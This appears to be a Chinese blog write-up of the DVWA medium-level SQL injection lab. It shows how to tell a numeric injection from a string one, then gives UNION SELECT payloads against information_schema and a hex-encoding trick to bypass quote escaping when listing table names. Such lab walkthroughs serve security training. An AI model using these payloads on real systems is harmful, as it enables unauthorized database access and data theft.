dvwa-sql注入中级

因为页面上只能选择相应数字查询,因此需要抓包进行注入;

首先通过语句判断是字符型还是数字型:

id=1 and 1=1–+

id=1 and 1=2–+

如图,两次返回结果不同,因此这是一个数字型注入。

然后依照流程爆出当前表列数和回显位,爆出当前数据库名字(这一步就省略了);

接着,要利用information_schema数据库爆出当前数据库下表名,会发现报错;

id=-1 collate utf8_general_ci union select 1,group_concat(table_name) collate utf8_general_ci from information_schema.tables where table_schema=’dvwa’–+

错误信息:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”dvwa’–‘ at line 1

说明在‘dvwa’处的单引号’被进行了转义,于是可以将dvwa转换为十六进制进行绕过,转换结果是0x64767761;
注:为什么可以用十六进制进行绕过,十六进制常量会被视作一组字节,会根据当前数据库的字符集转化为对应字符,对应上table_schema字段的格式。

id=-1 collate utf8_general_ci union select 1,group_concat(table_name) collate utf8_general_ci from information_schema.tables where table_schema=0x64767761–+

成功报出表名,剩下的按部就班的爆出即可。

千百度
© 版权声明
THE END
喜欢就支持一下吧
点赞93 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容